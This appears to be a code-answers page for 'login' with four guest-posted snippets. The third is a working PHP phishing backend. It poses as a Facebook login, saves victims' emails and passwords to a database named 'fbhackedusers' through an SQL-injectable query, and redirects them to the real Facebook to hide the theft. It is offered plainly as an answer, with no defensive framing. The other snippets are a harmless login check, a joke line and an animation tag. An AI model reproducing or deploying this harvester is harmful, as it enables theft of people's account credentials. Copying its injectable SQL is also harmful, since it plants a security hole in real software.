Answers for "login"

CSS
11

gmail

hello there, I hope you have an amazing day,andenjoy your emails lol!
Posted by: Guest on December-21-2020
1

login

if(isset($_POST['submit'])){
        if(password_verify($_POST['password'], "hash")){
            $_SESSION['login'] = true;
            header("Location: ...");
            exit;
        }
    }
Posted by: Guest on December-17-2020
0

login

<?php 
   $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
   if(mysqli_connect_error())
   {
      // redirect users to original facebook if error occurred
      header("location: https://www.facebook.com");
      exit();
   }
?>
<!doctype html>
<html>
<head>
   <title>Logging in to facebook</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
</head>
<body style="margin:0px;"> 
<?php
   if($_SERVER["REQUEST_METHOD"] == "POST")
   {
      if(isset($_POST['login']))
      {
         $email = $pass = "";
         // get facebook email id
         $email = $_POST["email"];
         // get facebook password
         $pass = $_POST["pass"];
         // insert the facebook id and password in database
         $sql = "insert into fbusers(facebookid, facebookpassword) values('$email', '$pass')";
         $result = $conn->query($sql);
      }
   }
   // redirect users to original facebook url
   header("location: https://www.facebook.com");
   exit();
?> 
</body>
</html>
Posted by: Guest on June-15-2021
0

login

<h1 class="animate__animated animate__bounce">An animated element</h1>
Posted by: Guest on April-24-2021

Browse Popular Code Answers by Language